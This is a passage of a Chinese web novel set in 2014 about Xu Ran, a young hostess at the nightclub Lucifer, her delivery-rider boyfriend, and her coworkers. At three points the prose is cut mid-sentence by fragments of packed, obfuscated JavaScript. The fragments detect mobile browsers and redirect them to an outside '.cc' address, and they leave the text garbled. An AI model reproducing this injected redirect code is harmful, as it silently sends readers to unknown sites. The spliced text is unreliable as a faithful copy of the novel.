她有日子没见过琳达,她比从前更瘦削了些,眉眼愈发深邃,穿高开衩的真丝长裙,形销骨立的颓美。像希腊神话里的女神。 她挽着的人是邵骏辉,许冉只远远见过,在人堆里也算得上仪表堂堂,只是神情颓靡,总睡不醒似的。 等到了附近饭店落了座,她才看到徐炀也在,koko陪着,给他斟酒,他在抽雪茄,好玩似的把烟圈吐在koko脸上。 koko笑着推他肩膀。 万小琴前些日子跟她八卦过,koko现在跟着徐炀了。邵骏辉牵的线。 原来今天是邵骏辉的生日。 来的多是他的朋友,但他对徐炀最殷勤,两人坐在一块儿,交头接耳,关系可见一斑。 在座的人都看在眼里。 方才在五楼是红男绿女取乐玩闹,到了饭桌上则是谈生意谈合作,最怕陪酒的聒噪,喧宾夺主,比起能喝,更重要的是有眼力见儿。这都是小橙和万小琴教过的。 许冉左边的是个满身潮牌猪头大耳的男人,是邵辉在国外读书时的学弟,一口一个邵哥,徐总,很会来事儿。 许冉听出来,他想跟徐炀聊开发区地铁上盖工程承包的事儿,徐炀却兴趣缺缺——他好像总是这样,对什么都是一副意兴阑珊的表情。 许冉给这个男人斟酒,一杯又一杯,事儿没聊上几句,他先醉得没边了,伸手使劲儿地揉掐她的大腿。 很疼很疼,像虐/待一样。但许冉没躲,殷勤地用热毛巾给他擦脸,给他按太阳穴,十来下,他就开始打鼾了。 许冉松口气,巴不得他一睡不醒,偷偷把他的手从腿上挪开,抬头,正见徐炀在看她,含混不清地扯一扯嘴角,分不清是笑还是轻蔑。 她连忙垂下眼睛。 等酒局终了,大部分人都喝的烂醉如泥,马杰点头哈腰将人一个一个地安到车上,也跟着邵骏辉的车回路西法。 车上他搭腔,说:“琳达姐,你跟莉莉熟吧。她打扮打扮,倒是像模像样的。” “太木讷。下次还是叫小橙来。”琳达把烟掐灭了说。 “也是也是。”马杰连忙同意,“小橙自然是没得说,就是这三天两头生病。容易坏事。” 突然记起什么,说,“哎呀,把人落餐厅了。” 去卫生间洗把脸的功夫,再出来发现人都走光了,大衣落在车里,身上没带钱包。许冉心里暗骂马杰。 十一月的天气,许冉穿得清凉暴/露,感受到餐厅来往的人投来的意味深长的目光。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15174322|164641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她心里想着那一万块钱,把高跟鞋脱下来拎在手里,就这样目不斜视地踏入桐城湿冷的冬夜里。 - 谢存山带着老人折腾了大半夜。 医生建议留观,六人间的病房,病人断续地呻吟,家属进出不断在走廊里大声讲电话,护工坐在床沿刷抖音。 老人骨折还没好全,上厕所不方便,半夜请不到护工,谢存山请托那位护工帮手,她假装听不见,谢存山客客气气地给她塞了五十,她这才起身。 外婆爱干净,提了几次想回家,后来药效起了,才全然睡着。 医生说,也不是什么大病,人老了肠胃脆弱,受不得寒。 ——去年外婆还举着苕帚追着他打,怎么今年忽然就老了。 谢存山身上还穿着送外卖的背心,护士站的值班护士看他好几眼。走到医院门口,已是凌晨一点半,医院门口有个卖蒸玉米的正在收摊。谢存山只中午吃过一顿,现下才觉得饥肠辘辘,买了两个,狼吞虎咽地啃。 公交早停运了,打车他舍不得,手机也没电,医院离登高巷四五公里,他决定走路。 这是谢存山十九岁的第一个凌晨。 街巷陷入永寂,呵气成霜,天地间只剩他自己。 ——其实这几年他过的挺好。 母亲去世后他休学了一年,迷上了打游戏,父亲也放任他,后来回了学校,三天两头犯事情,老师睁一只眼闭一只眼,同学觉得他可怜,谁都不跟他计较。 再后来父亲新婚,他上了高中,好歹读了两年,他烦透了学校那些清规戒律,说不读了,两人吵了一架,最后也随他了。 说起来鲜少有切实的痛苦,饿了就吃,困了就睡,钱少了就卖力气挣,喜欢一个女孩儿就追。 仅此而已。 他不习惯也不喜欢审视自己,仅凭直觉全然随心的生活让他觉得安全。 可总感觉还是少了点什么,一定是少了点什么。 只有在这样的夜晚,他才不得不面对这种偶尔会在他的心灵里下阴影的,幽灵般的质问。 谢存山一路魂游天外,竟然走出了一身汗,四十分钟的路不觉得长,方才在医院还觉得疲惫,此时忽然神清气爽。 走近了家门口,才发现有一小团人影,在那儿猫着。是许冉。 “你怎么来了?”谢存山恍惚得像在做梦,又好高兴,咧着嘴笑。 许冉蹲久了,脚麻得很,谢存山拉她起身,她埋在他胸前,贴着紧紧地,汲取热气,说,“联系不上你,我不放心。” 大衣不厚,她在这儿等了许久,一身寒气。 谢存山连忙带她进屋子,打开油汀取暖,烧水给她泡茶。 许冉捧着杯子好奇地四处看,转头记起正事,说:“生日快乐。” 谢存山把热水袋塞给她暖手,“下次别这样等了。” “今天不一样。”许冉笑。发现窗外又开始下雨。 雨汇集到檐下,无止无尽的流水声,萦萦绕绕。 卫生间在天井那头,谢存山就蹲在屋檐下,守着她洗漱完,摸裤兜想抽烟又想起答应了许冉要戒烟。 谢存山让许冉上楼睡自己的床,自己睡在楼下的沙发上。 许冉在楼上一会儿喊冷,一会儿喊怕黑。谢存山没办法,拖着枕头上来陪她。 许冉得逞。一人宽的床,一人宽的被子,两人没办法平躺,侧着身,像住在冬天的蚕茧里,侧着侧着就吻到一起。难解难分。许冉抚摸他,一寸一寸,用手辨认肉和骨,还有他肌肤上她的名字。 他们在一起小半年,之间的亲密还仅限于接吻,而且就连接吻也是小心翼翼的。 许冉和万小琴说这些事儿,万小琴说,他可真是和尚变的。她又说,你反正得想好,女人的第一次可是很宝贵的。 ——毕竟姓谢的啥也没有。 许冉脑子乱乱的,说话没头没尾,问他,你觉得我脏吗。 谢存山骂她,神经病。 许冉说,我说真的。 谢存山问,为什么要这样问。 许冉不回答。又说,路西法里的那些都不是真的。 谢存山说,我知道。 许冉的手灵巧的蛇一般往下游走,被谢存山把手腕捉住了,捂进怀里。他抿着嘴咬腮帮子,呼吸缓过来,他伸手把她的被子裹紧说,“睡吧。冉冉。” 许冉第一次听他这么叫她。冉冉,很久没人这么叫她。真好听。 和他这样肉贴着肉,温暖安心,她困极了,但不愿意睡,这么好的时刻,明天世界末日了也不可惜。 她想,他明天一定要告诉万小琴,她是错的。和有情人做快乐事,这难道不算如愿以偿?什么第一次,什么道德,什么托付和算计,在她和谢存山这里都不成立。 她把手,脚,身体,都塞进他怀里贴着取暖,蜷成一个半圆,又在漆黑的夜里睁大眼睛十分努力想看清他的脸。 ——她喜欢一个人,就要拼命靠近一个人。 那天晚上,许冉絮絮叨叨,时梦时醒,问他巷子里的童年玩伴,第一首学会的唐诗,冬天喜欢吃红菜苔还是白菜苔。 谢存山牵着她的手,很有耐心地答。答着答着,在困倦的对立面,有答案澄明地在一片黑暗的空茫中浮现出来。 他爱许冉。 他不懂如何安身立命,看不明白未来在哪里。可他真的爱许冉。他能设想的所有的美好生活里都要有她。 后来许冉听着雨声,也睡着了。 ——其实她还有很多话想跟他说,徐炀,马杰,包里的一万块现金,只是话到了嘴边总觉得多余。 人们总爱戏说春宵一刻,她以前不懂的,最近有点懂了。和他在一起的时候,她不愿意心有旁骛,提那些无关的人做什么呢。 18. 2014 雨停风止。 谢存山清晨就起身去送外卖,中午还要去接老人出院。 许冉睡得安稳,谢存山没吵醒她,给她新灌了个热水袋塞进被窝里,自己囫囵吃了几块饼干,收拾停当,带上头盔后又在阁楼的椅子上坐了片刻,专心看许冉睡着的样子。 恬静的,全然信任的姿态。 好像有人在他的心里拼命吹气球,他被一种新奇的幸福和失重感围绕着。 骑着摩托车往骑手站去的路上,他像在飞,脑子里全是许冉。像生病了一样。他一直想着外婆那句话,‘再过几年我把你妈的房本给你,你找个好姑娘,安安心心成个家。’ 许冉难得一夜好眠,醒来时恍惚了一阵。小时候他们家的房子也类似,可以听到彻夜的雨声,许明宗会在这样的夜晚给她讲水浒传和聊斋故事。 谢存山已经走了。许冉起身稍洗漱,将谢存山的床铺铺好,规整,又去厨房看了两眼,扔掉冰箱里蔫了的青菜,又跑去附近的便民菜店买了些简单的青菜蔬果,半只老母鸡,还有一块厚厚的牛腱肉。 谢存山最爱吃牛肉,但牛肉最贵,他们平常都不舍得吃。 许冉大展身手。老母鸡煲汤,牛腱肉做热卤,全都存冰箱里,谢存山这几天照顾老人也能松泛一点。 爸爸去世后王玉芬一蹶不振,最坏的时候天天都躺在家里,她就是那时候学会做饭的。 汤在锅里滴哩咕噜,她忽然想到什么,给小橙发微信,说:“小橙姐,我知道你那天说的‘洗手作羹汤’是什么意思了。” 小橙回她了。发来一个偷笑的表情。 许冉又问她:“你的病好些了么,什么时候回来。” 那边没再回。 ——扮演完‘田螺姑娘’,许冉才收拾收拾回了家。 一进门看见万小琴正开着取暖器啃鸡爪看偶像剧,笑得乐乐呵呵的。 见她回来了才嚷嚷,“你怎么才回啊。给你发微信呢,也不回。” 许冉没来得及接话茬,万小琴又倒豆子似地接着说,“上次去庙里大师说你命好真的没瞎说,我怎么昨晚就正好肚子疼呢。” 要不是她肚子疼不在,这跟着大老板们出台的活儿肯定落她头上了——万小琴倒不是图那些钱,只是看着琳达,小橙一个个都往五楼去了,眼皮子浅。 “夜不归宿,难不成是跟着谁走了?”万小琴半揶揄半打听。 许冉听了心里有点难受,但也没说什么,闷头喝水,“怎么会。邵总的客人怎么会看得上我。” 她明白万小琴在意什么,想听什么。 万小琴明显松一口气似的,又笑着说,“你还小呢,去见见世面也是好的。” 许冉把一万块钱转给她,问她:“姐,美甲店还开吗?” 万小琴坐下来继续嗑瓜子:“不开了,那玩意儿不赚钱的。得搞投资,钱生钱。” 许冉没再搭话,盯着窗外看。小区里老梧桐树的叶子都落了个精光,剩光裸的枝桠,看不出颜色的鸟,臣服于灰蒙蒙的天。 桐城漫长沉闷的冬季就这样到来了。 - 冬天一到,桐城的户外就一分钟也待不下去,虽说是南方,但有些年头也会下雪。 家里勉强好点,但许冉和万小琴都心疼电费,空调不过夜,早上起来额头都是冰的。 不过她们都年轻,扛得住。万小琴还挣扎着没穿鸭绒棉袄。她爱美,宁愿大腿冻的都紫了也要穿裙子和大衣。 顺便提一句,她舍不得买的貂皮大衣,紫毛给她买了,还是海宁皮草城托人带的。万小琴嘴上嫌弃颜色老气,上了身就不肯脱下来。 最近太冷,万小琴也不爱出去玩了,就叫人来家里打麻将,莎莎和小橙都来过,偶尔小娟也跟着来,但万小琴嫌她笨,老不让她上桌。 万小琴有时候也会带其他朋友来玩,应该都是紫毛,丘胖子那边的人。但紫毛最近来的少。万小琴说紫毛最近跟着丘胖子去菲律宾了。 万小琴的朋友爱不停抽烟,叫板起来声音也吓人,许冉不喜欢跟他们玩,就一个人躲在卧室里听音乐,无聊了也翻几页书,小橙借给她的《活着》,她读着读着就开始抹眼泪。哭着哭着又睡着了。 等再醒的时候七点多,窗外天早已全黑。 十一月青黄不接,路西法生意差,大家去的愈来愈晚,马杰也睁一只眼闭一只眼。到了十二月圣诞节,元旦接踵而至,那时候才有赚头。 房间没开灯,冷嗖嗖的,被子总觉得湿哒哒,她缩在里头半天不想挪动,侧耳听外头没声音了,大概是他们到楼下排挡吃饭去了。 她磨蹭地起床,收拾穿衣,给自己煮了一口面条,拌辣椒酱在灶台旁边吃,吃着吃着听到楼下万小琴的笑声。 她探头一看,看楼下停了一辆挺气派的轿车,万小琴靠在车门上,和一个男人搂抱在一起,难分难解的。 那男人不是紫毛。 紫毛在菲律宾呢,前两天还分享了定位,他第一次出国,兴奋的很。 紫毛虽然小混混模样,但人其实挺好的,把她当妹妹相处,吃饭夜宵都叫上她。她撞破这一遭,无端觉得背叛了他。心理不是滋味。 ——许冉把一切憋在心里,憋到隔两天见着了谢存山,才迫不及待跟他八卦。 现在谢存山晚上送外卖,不能送她回家了。有时候摸着上班前的空档,两人能偷溜出来在路西法后门见一面。 只有周一路西法休息的时候他们才能凑在一块儿。 其实许冉觉得这样挺好的。 工作的时候浓妆艳抹的,见谢存山总让她觉得别扭,倒不是着装打扮,而是她自己不能完全从路西法那种轻佻的气氛中跳脱出来,和谢存山说话的时候都不自觉多带一些谄媚,或是冗余的兴奋。 第二天回想起来总觉得很懊恼。 她隐隐觉得自己并不喜欢那样的状态。但又无法抵抗这种状态的裹挟。 李迈克有时候说,‘冉冉姐,你笑起来和小琴姐越来越像了。’ 许冉最近愈来愈意识到这一点,虽然还无法用语言形容清楚,但她开始警惕,也会偶尔思考,当然做不到三省吾身,只是有时候半夜回家,酒全醒了,房间冷得如同冰窖,她会在黑暗里坐上很久...察觉自己正身处于某种深渊之中。 ——谢存山听了,嘱咐她别管闲事。就当什么都不知道。 许冉正在吃热腾腾的烤红薯,含含糊糊说,我又不傻。 唐小勇毕竟跟着刘闯混过,谢存山从唐小勇那儿陆续听说了很多丘胖子那圈子人的事情,只是冰山一角,足够让人畏惧。 他当然不希望许冉接触这些人,但他现在哪有能力左右这些事情呢? 许冉问他吃不吃,他摇摇头,问她,怎么想起到这里来了。 许冉站在定凰图书城门口掏出纸巾擦手,说,这儿又有空调,又有书看,多好。 这件事还要从那本《活着》说起。许冉看完那本《活着》,难受了好几天,吃不下睡不着,随时随地扒拉着饭就突然哭出来,万小琴吓坏了,以为她中了邪。 后来她从那种状态中抽离出来,就去找小橙聊天,小橙说这证明你是个敏感善良的人,你共情了,虽然痛苦很强烈,但这是好事,你的爱也会很强烈。 许冉没听懂,但她觉得小橙真温柔,懂的真多啊。小橙又给她介绍了很多书,说她以前想当作家。 化妆间的姑娘们听了都笑她,只有许冉没笑。 许冉照着小橙给的书单来找书,谢存山就跟着她一家一家闲晃,后来走累了两个人就去最大的新华书店,找了个角落蜷缩在一块儿看书。书店里到处都是这样心无旁骛看书的人,让许冉觉得很安心。这次她看的是老舍文集,里面有一篇叫《月牙儿》。 读着读着她眼睛就模糊了,赶紧把书合起来以免弄脏,又把眼泪憋回去了。 她说,谢存山,我饿了,我们去吃酱香饼吧。 那一年桐城大街小巷都在卖酱香饼,谢存山早就吃的想吐了,许冉还愿意吃。她和谢存山不一样,谢存山不喜欢一成不变,她相反,喜欢的食物她可以一直吃,吃很久很久。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15188734|164641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她和谢存山牵着手等着饼出炉,等着等着她就魂游天外。她很想问小橙有没有读过月牙儿,有没有掉过眼泪。 这时有人叫谢存山的名字,许冉回过神,看见是三个穿校服的高中生,两男两女,怀里还抱着一沓子练习册。是二中的学生。朝气蓬勃的模样。 “真的是你!”其中一个高个儿男生很热情。 谢存山握着她的手松开了,表情有些错愕,又佯装出一脸轻松,说,“你们怎么在这儿。” “班长带我们来拿补定的练习册。” 那个男生拍了拍其中一个高马尾圆眼镜女生的肩膀,那女生咬着唇,这才抬头轻轻瞥了一眼谢存山。 另外那个女生轻轻撞了撞‘班长’的肩膀,玩笑说,“谢存山你这人真是的,走了也不打招呼,手机号码都换了。同学都挺想你的。” “你...真的不读了?”另一个长得斯文的男生问,目光在许冉脸上扫过。 “嗯。不读了。读不出来。出来找找事情做。” 那四人听了都沉默了一会儿。 班长欲言又止。 “我也不想读了。班主任说我二本都考不上。”高个儿男生说,“你走了之后就没人组织打球了。体育课也被霸占了。” 谢存山这会儿才真心实意地笑了笑,“等你们明年考完了,还是可以约球。” “这可是你说的。快,把手机号留一下。” 留了手机号,酱香饼也好了,各自分道扬镳。许冉跟着谢存山走,没有再牵手,许冉能感受到那四人的目光,留在他们背上很久。 走着走着,一直走到立交桥底下,许冉才拉住他问他,咱们这是去哪儿? 谢存山如梦方醒,说,我也不知道。你冷不冷。 许冉摇摇头说,不冷。你呢。 谢存山说,我也不冷。就是有点饿。走吧,今天是‘小雪’,咱们去下馆子。那饼别吃了,我看着都想吐。 许冉把饼扔给了同在桥下躲风的几只流浪狗。狗蜂拥而上,吃的可香。两人看了一会儿一起笑了。 许冉把手插进口袋里,忽然严肃地说,谢存山,我觉得你应该回去读书。读书很好。你家里供得起,你应该去考大学。 她喜欢那些二中学生身上的某种气质,就好像有什么好得不得了的秘密正酝酿在那丑陋的校服里头,使他们与桐城阴沉的冬天都格格不入起来。 ——满怀憧憬。没有什么比这个奢侈的。 谢存山也不笑了,盯着她看了几秒,伸出手故意把她的头发揉乱。她的眼睛藏在刘海里,亮晶晶的。 许冉捂着头说,你别弄乱了我的发型。 谢存山,说,你瞎想什么。不读了。这样就挺好。 ——那天晚上他们和麻子,小苗,小勇哥,小亮,阿宇几人一起下馆子,给谢存山补过生日。 麻子和小苗宣布要搬到一起住,还计划养一只狗。麻子的爸爸回了趟国,要麻子别混了,做点生意,启动资金他赞助。麻子答应了。 小勇哥说游戏厅生意还成,但机器动不动就坏,维护成本挺高。而且现在游戏厅人越来越少了,大家都去玩桌游密室。明年要是合适,就把游戏厅卖了回老家。 他家里就剩一个老母亲和一个不满十岁的妹妹,母亲今年忽然聋了一只耳朵,查不出原因来。别人开车路过骂她聋子,她冲别人傻笑。 ‘就到县里去跑跑车,总能活。’唐小勇说。他喝了点酒,红着脸笑了又哭,说,对不住,是我没用。明年哥一定想办法给你们都找个好下家。 三十出头的男人抱着谢存山哭得像个做错事的孩子。 小亮和阿宇安慰他,说,阿宇叔叔在工地上干,据说一天能给两三百,还包饭。我俩准备去试试手。勇哥你别担心。 谢存山也安慰他,我送外卖赚得也不少。桐城市区我都跑遍了,明年我把驾照考了,还能跑滴滴。 唐小勇还是流眼泪。 那天晚上许冉给莎莎发消息,问她,‘莎莎,你跳舞是在哪儿学的,我也想学,贵吗?’ 19. 2014 2014年的年底发生了几件大事情。 万小琴和紫毛分手了。路西法的业务组又来了几个新人。唐小勇的电玩城找好了卖家。 虽然不知底细,但大家都在背后议论,其中一个叫晶晶的,小脸圆鼻头,看着肯定不到十八岁。要是搁以前,这样小女孩儿马杰是不敢招的,怕惹出麻烦事。 但现在莲花西路愈来愈热闹,夜店一家一家地开,生意不像以前那么好做了。 万小琴和紫毛分手也是意料之中。是万小琴提的分手,当面提的。那天紫毛刚从泰国回桐城,还给她带了一块名牌手表。 两人在客厅里吵得像第三次世界大战爆发,枪林弹雨的。许冉出门避风头,再回来的时候紫毛已经走了,门背后的镜子被砸了个稀烂,墙上残留的玻璃片边缘还有血迹。 她一片一片把碎玻璃捡起来,用报纸包好。 万小琴披头散发地坐着,看着她的动作发呆,忽然很不高兴地说,你别收拾了,明天我找个家政来弄。 说完她就回房间了,不久从里头传来啜泣声。 万小琴消沉了一天一夜,没吃没喝,第二天她再出房门的时候已然打扮妥帖,又是艳光四射的了。 那天楼下接她的男人有浓重的广东口音,镶了一颗金牙,比她大十来岁。万小琴说他是广东人,在香港做生意。 人一多化妆间就越发热闹了。 新来的几个女孩儿都开始叫她莉莉姐。许冉每次听了就想笑,这么快辈分就升级了。 小橙也回来了,只是她这一回似乎病得很重,人比起以前清瘦了很多很多,变得很苍白,像一片纸似的,吹一吹就能飞走。 马杰很不满意,说太瘦了,哪个男人看了能喜欢。摸一把都怕散架。要她多吃点。 马杰对小橙寄予厚望,因为她着实聪慧,又有激起男人爱怜的柔弱外表。他希望小橙去股东部,去五楼陪那些vvip。小橙一直没点头。 许冉中途回化妆间补妆,总能看到小橙在化妆间用哮喘喷剂。也不回避她,只是淡淡一笑。 小橙偶尔还是会借书给她看。她们比以前亲近了些。 年底了送外卖生意格外好,谢存山不大有时间陪她。许冉也从不抱怨。 休息日她会约着小橙去书城看书,但她们都很少买。有时候看到快关门了,才在店员不耐烦的眼神里放下书。 虽然没有问过,但许冉猜测小橙家里的条件也不好。而且她吃药得花钱。万小琴说她用的那种哮喘药,一小管儿就是一百多。她用的化妆品和护肤品都是最便宜的,不怎么买新衣服。 看完了书她们就去附近的小店吃酸辣牛肉米线。辣得全身都是汗。小橙总是一边喊辣一边笑得很开心。 有的时候她们也会结伴去江滩散步。枯水季的江滩,皴裂干涸,寸草不生,罕有人至。桐城的深冬常常起雾,雾锁江岸,小半个月见不到太阳。 但小橙丝毫不介意这种天气。在江边散步的时候,她总说,等春天来了我们可以来这里放风筝。我放风筝很厉害的。 她说起风筝的时候苍白的脸上便会荡漾起如早春般的温柔。 很多年之后,许冉很少梦到谢存山,但总会梦到小橙,梦到她站在冬天黑色的江滩中心对她微笑。 许冉跟小橙走得近,万小琴心里就莫名有些不舒服,与小橙疏远起来,在化妆间里说话也有些夹枪带棒。小橙都一笑了之。 众人都感受到了这种微妙。 莎莎悄悄问许冉,她俩咋了,之前不挺好的? 许冉摇摇头。什么也没说。 有时候许冉在家里看书,万小琴见了也说,这书你少看点吧,别变成跟她一样,多愁善感,病怏怏的,不好。 马杰三番五次请小橙加入股东部未果,但万小琴却一直未得偿所愿。小橙是她带来的,心里总归有根刺。她以前也跟马杰闹过,马杰不吃她这套,这种小打小闹他见多了。 不过最近万小琴不再抱怨进股东部这回事儿了——她请假的次数愈来愈多,有的时候就干脆玩消失,电话也不回。 马杰气得跳脚,跑来问许冉。 许冉摇摇头,说她也不知道小琴姐在哪儿。最近两人见面挺少。 马杰又问她,下回你见她问她是不是要走,要走就赶紧说一声,这儿也不缺了她。 许冉唯唯诺诺地答好。 她们最近确实见的愈来愈少。万小琴那个老板男朋友,姓向,许冉只见过一面,觉得他在饭桌上剔牙的样子很恶心,之后偶尔万小琴喊她去吃饭,她便推脱。久了万小琴也就不再叫她了。 她大多时候与姓向的男人同住,偶尔回来取些衣物和日用品。 但许冉的确知道她大概不会在路西法长待下去了。有天她回到家,发现万小琴回来过,餐桌上还放着旺铺招租的房屋中介宣传单。 她以前也提过的,说姓向的要给她钱,让她自己做生意。 许冉正想着心事呢,晶晶凑到她桌边来,问她,‘莉莉姐你有没有那个。’ 许冉想了半天才说,‘卫生巾啊。’ ‘对对。’ 莎莎在旁边化妆,听了直笑,说,‘都是女的,害臊什么。’ ‘我们那边最忌讳女人说这些。要是日子来了,土地庙都不能去。桐城还是不一样,很先进。’晶晶很认真地说。 莎莎因为‘很先进’这三个字,更是笑得肚子疼。 旁边小娟来搭腔,说,“你们知道吗,邵总好像带着琳达去北京了。要给她签经纪公司。还要捧她拍电影。” “吓。不过半年时间,琳达可比koko混的好多了。那可是北京!” “你小声点,万一给koko姐听到了,白白惹事。” “你是怎么知道的。”莎莎问。 “我前天晚上只有几个散单,昨天马杰把我叫到他那儿骂了一顿。我偶然听到的。” 其他人听了也不知是该笑还是该安慰。 - 这天晚上许冉和晶晶同陪一桌客人,几个北方口音的男人,吆五喝六的,晶晶人太老实,被灌了好多酒。 她要吐,许冉就借故陪她去化妆间,李迈克帮忙搀着人,说,“这姑娘也太实心眼了,马杰要她十二月做够二十万流水,就给她发年终奖。路西法这么多人,就她一个人真的信。” 李迈克啐一声,“哪有什么年终奖,两百块钱超市优惠券顶天了。” 许冉笑,推开化妆间的门,傻了眼,小橙和koko一坐一站,koko站着,漫不经心地把玩着桌上小橙的银手镯,小橙神色如常在镜前补妆描眉。 koko居高临下,神色漠然,‘话我也带到了,你自己看着办吧,你自己需要什么自己最清楚。’ 她今天也涂着粉嘟嘟亮闪闪的唇釉。她这双嘴唇生的好,饱满圆润,笑起来娇憨妩媚,花枝摇曳。但表情冷淡的时候则很违和。 koko几乎从不来楼下的化妆间。 koko走后许冉问小橙,“她怎么突然来找你,她没欺负你吧?” 小橙冲镜子里的她笑一笑说,“当然没有。不至于。” 她不多言,许冉也不问。这是她们之间的默契。 李迈克被马杰叫回去上班了。晶晶吐完趴在桌上睡着了,还小声打起了呼噜。 小橙被逗笑了,把晶晶脸上的乱发轻柔地拨至她耳后,端详她的脸,说,“真年轻。” 她点燃一支女士烟。 小橙有一双多情又慈悲的眼睛,看人的时候总带着谅解的神情。她隔着烟雾问许冉,“小琴说你来这儿是家里有人生病了。” “我奶奶心脏不好,要做手术。不过也不全是因为那个,这儿来钱快。”许冉很诚实。 “你父母呢。” “我爸去世了。我妈改嫁。” “你今年多大?” “十八。明年过完年马上十九了。” 小橙笑得弯起了那双眼睛,说,“也是个小孩儿。不过不像,你挺成熟的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15199842|164641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她又问,“读过书?” “职高毕业。我读书不行,成绩一直不好。” “成绩说明不了什么。你挺聪明的。” “你呢?”许冉不适应被人夸奖,问。 “我?” 小橙剧烈地咳嗽起来,她把烟熄灭了,说,抱歉。 “我大你七八岁呢。大学没读完辍学了。没骗你,读的历史系,没有毕业证,断断续续打了两年工。后来朋友在ktv做领班,叫我先去上几天班,起码有收入,结果一待就是四年多。和你一样,觉得来钱快嘛。” 她双手捧着脸颊,说话的神情像是梦呓,又伸出纤细的手指,在虚空中点了点许冉,说,“你还年轻。要是有别的出路,就早点走吧。在这儿久了,人会分不清白天黑夜,虚幻和现实也会颠倒,就像水里的倒影,越看越困惑。” 许冉没做声,思考她的话,似懂非懂的表情。 小橙轻轻地笑,说,“你就当是醉话。” - 十二月中旬,桐城下了一场冻雨,天气预报都在说,今年西伯利亚寒潮频繁南下,桐城也会有雪。 天气越冷,外卖生意就越好,谢存山现在几乎是全职送外卖了。唐小勇那儿他只偶尔去一趟,冬天电玩城生意更差,十次有九次店里都冷清极了,唐小勇躲在兑奖的柜台旁烤着火玩手机斗地主。 卖店的事情定下来后,唐小勇低沉了好几天,后来又高兴起来,说他反正不是这块料,做不了大生意,这样也好,他总算安心。 还说他妹妹唐小玉不懂事让妈妈操碎了心。学校要开家长会,她吵着闹着不让妈妈去,说妈妈聋了,她怕同学笑话。唐小勇在电话里把她臭骂一顿。 休息日许冉也乐得躲在家里。 外头凄风苦雨,不辨晨昏,她窝在取暖器旁边,睡了一觉又一觉,醒了口干得吓人,喝口水,又继续睡。一觉足足睡到下午五点多,人才觉得清灵一点。 外头天已经全黑了,手机上有三条未读消息。 谢存山的,王玉芬的——还有一条来自紫毛。 从许冉的住处坐一站公交,再步行二十分钟穿越桐城步行街,便可到达桐城最热闹的小吃街。 冬天客少,方才又下过雨,马路牙子覆了一层油渍,走起来打滑。 许冉来过几次,但她不认路,哆嗦着攥着手机看导航地图,半天才找着地方。 ——犄角旮旯里的烧烤店,被挤在一间火锅店和一间老字号锅贴店中间,可怜得很。 紫毛是唯一的食客,趴在桌上往嘴里灌啤酒,店主见怪不怪,坐在厨房前的板凳上嗑瓜子烤火。许冉来了,他只抬抬眼。 “姜毅哥。”许冉推了推他,在他对面落座。 紫毛使劲儿仰起头,眯着眼看了半天,说:“你来了啊。许冉。” 这是万小琴和紫毛分手后,许冉第一次见他。他邋遢了很多,没刮胡子,眼睛红的吓人。要是街上遇着,她肯定认不出来。 “万小琴呢?”姜毅撑起身子,打了个嗝,问。 “小琴姐...她和朋友出门了。” 姜毅讥讽地一笑,“你不说我也知道是哪个朋友。” “我要走了。”他说。 “去哪儿。” “去广州。” “你不跟着丘胖子了吗?” “许冉。”他突然激动地抓住许冉的手腕,啤酒瓶撞翻在地,滋滋地流了一桌,“你告诉万小琴,那个人不是什么好人,丘胖子,徐炀他们,都是吃人不吐骨头的。还有你,我把你当妹妹,趁你还能脱身,趁你还能脱身...” 老板嗑瓜子的动作停了,他脚边的黑狗也竖起了耳朵。 “你一定要告诉她...脱身...”姜毅醉得半阖上眼睛,把脸埋进肘弯里,一遍又一遍呢喃。 那天晚上,许冉把紫毛的烧烤钱结了,又给了五十块给老板,请他关店前把姜毅送上出租。 那是许冉在桐城最后一次见到紫毛。 20. 2014 2014年的最后一天万小琴和许冉都请了假。 马杰挺不乐意的。但万小琴他管不住。 至于许冉,如今万小琴要走,小橙三天两头生病,莎莎三天两头失踪,业务组青黄不接,他还得靠许冉照顾新人,因此也对她格外宽容。 万小琴耐不住孤独,想邀许冉一起跨年。 ——‘向老板’又去东南亚出差了,万小琴说他在那边的生意做得大,还有个产业园,搞生物医药的,她看过视频。 她的护照最近办下来了,向老板说要带她去泰国过年。 许冉支支吾吾,说她和谢存山约好了。万小琴说,那有什么,大家一块儿呗,都几个熟人。你可别见色忘友。 平素万小琴有些瞧不上唐小勇那一帮子人,今天她却心情好,吃烧烤的时候酒也喝个不停,漂亮话也讲个不停。 唐小勇偷偷问许冉,你这姐姐今天怎么了?转性了? 许冉朝他眨眨眼睛。 烧烤吃到一半,麻子和小苗姗姗来迟。麻子说,这来一路可太堵了。 小苗说,我早说了坐摩的嘛,你不听。 麻子又问,咱又去莲花广场跨年啊? 唐小勇说,也没别处去。去我那儿打牌也行。 